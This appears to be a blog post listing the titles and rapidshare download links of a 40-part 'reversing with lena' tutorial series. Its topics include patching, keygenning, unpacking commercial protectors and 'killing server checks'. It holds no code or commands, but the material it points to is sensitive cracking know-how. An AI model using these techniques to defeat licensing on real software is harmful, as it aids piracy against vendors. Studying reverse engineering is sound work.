09. Explaining the Visual Basic concept, introduction to SmartCheck and configuration
10. Continued reversing techniques in VB, use of decompilers and a basic anti-anti-trick
http://rapidshare.com/files/36725909/_file_snd-reversingwithlena-tutorial1.tutorial.zip
http://rapidshare.com/files/36725904/_file_snd-reversingwithlena-tutorial2.tutorial.zip
http://rapidshare.com/files/36725918/_file_snd-reversingwithlena-tutorial3.tutorial.zip
http://rapidshare.com/files/36725954/_file_snd-reversingwithlena-tutorial4.tutorial.zip
http://rapidshare.com/files/36725986/_file_snd-reversingwithlena-tutorial5.tutorial.zip
http://rapidshare.com/files/36726006/_file_snd-reversingwithlena-tutorial6.tutorial.zip
http://rapidshare.com/files/36725932/_file_snd-reversingwithlena-tutorial7.tutorial.zip
http://rapidshare.com/files/36725939/_file_snd-reversingwithlena-tutorial8.tutorial.zip
http://rapidshare.com/files/36725944/_file_snd-reversingwithlena-tutorial9.tutorial.zip
http://rapidshare.com/files/36725920/_file_snd-reversingwithlena-tutorial10.tutorial.zip

11. Intermediate patching using Olly's "pane window"
12. Guiding a program by multiple patching.
13. The use of API's in software, avoiding doublechecking tricks
14. More difficult schemes and an introduction to inline patching
15. How to study behaviour in the code, continued inlining using a pointer
16. Reversing using resources
17. Insights and practice in basic (self)keygenning
18. Diversion code, encryption/decryption, selfmodifying code and polymorphism
19. Debugger detected and anti-anti-techniques
20. Packers and protectors : an introduction  
http://rapidshare.com/files/36726362/_file_snd-reversingwithlena-tutorial11.tutorial.zip
http://rapidshare.com/files/36726439/_file_snd-reversingwithlena-tutorial12.tutorial.zip
http://rapidshare.com/files/36726444/_file_snd-reversingwithlena-tutorial13.tutorial.zip
http://rapidshare.com/files/36726433/_file_snd-reversingwithlena-tutorial14.tutorial.zip
http://rapidshare.com/files/36726382/_file_snd-reversingwithlena-tutorial15.tutorial.zip
http://rapidshare.com/files/36728587/_file_snd-reversingwithlena-tutorial16.tutorial.zip
http://rapidshare.com/files/36727545/_file_snd-reversingwithlena-tutorial17.tutorial.zip
http://rapidshare.com/files/36727561/_file_snd-reversingwithlena-tutorial18.tutorial.zip
http://rapidshare.com/files/36727572/_file_snd-reversingwithlena-tutorial19.tutorial.zip
http://rapidshare.com/files/36727662/_file_snd-reversingwithlena-tutorial20.tutorial.zip

21. Imports rebuilding
22. API Redirection
23. Stolen bytes 
24. Patching at runtime using loaders from lena151 original 
25. Continued patching at runtime & unpacking armadillo standard protection 
26. Machine specific loaders, unpacking & debugging armadillo 
27. tElock + advanced patching  
28. Bypassing & killing server checks  
29. Killing & inlining a more difficult server check  
http://rapidshare.com/files/36728621/_file_snd-reversingwithlena-tutorial29.tutorial.zip
http://rapidshare.com/files/36728552/_file_snd-reversingwithlena-tutorial28.tutorial.zip
http://rapidshare.com/files/36728570/_file_snd-reversingwithlena-tutorial27.tutorial.zip
http://rapidshare.com/files/36727888/_file_snd-reversingwithlena-tutorial26.tutorial.zip
http://rapidshare.com/files/36727957/_file_snd-reversingwithlena-tutorial25.tutorial.zip
http://rapidshare.com/files/36727836/_file_snd-reversingwithlena-tutorial24.tutorial.zip
http://rapidshare.com/files/36727766/_file_snd-reversingwithlena-tutorial23.tutorial.zip
http://rapidshare.com/files/36727772/_file_snd-reversingwithlena-tutorial22.tutorial.zip
http://rapidshare.com/files/36727828/_file_snd-reversingwithlena-tutorial21.tutorial.zip 

30. SFX, Run Trace & more advanced string searching 
31. Delphi in Olly & DeDe
32.  Author tricks, HIEW & approaches in inline patching                                  
33. The FPU, integrity checks & loader versus patcher
34. Reversing  techniques  in packed soft & A S&R loader for aspr 
35. Inlining inside polymorphic code
36. Keygenning
37. Indept  Unpacking  &  Anti-Anti-Debugging  A Combination Packer/Protector
38. Unpacking continued & debugger detection by DLL and TLS
39. Inlining blowfish in a dll + unpacking aspr SKE 2.2
http://rapidshare.com/files/36728875/_file_snd-reversingwithlena-tutorial39.tutorial.zip
http://rapidshare.com/files/36728822/_file_snd-reversingwithlena-tutorial38.tutorial.zip
http://rapidshare.com/files/36728818/_file_snd-reversingwithlena-tutorial37.tutorial.zip
http://rapidshare.com/files/36728885/_file_snd-reversingwithlena-tutorial36.tutorial.zip
http://rapidshare.com/files/36728927/_file_snd-reversingwithlena-tutorial35.tutorial.zip
http://rapidshare.com/files/36728868/_file_snd-reversingwithlena-tutorial34.tutorial.zip
http://rapidshare.com/files/36733021/_file_snd-reversingwithlena-tutorial33.tutorial.zip
http://rapidshare.com/files/36728897/_file_snd-reversingwithlena-tutorial32.tutorial.zip
http://rapidshare.com/files/36728554/_file_snd-reversingwithlena-tutorial31.tutorial.zip
http://rapidshare.com/files/36728551/_file_snd-reversingwithlena-tutorial30.tutorial.zip

'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Protection ID  (0) 2011.05.11
Vmware detection by vmware I/O port  (0) 2011.04.18
TightVNC portable  (0) 2010.09.08
7.7 ddos 바이너리 대충 분석  (2) 2009.08.06
The best text for Reverse Engineering  (0) 2009.06.23
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing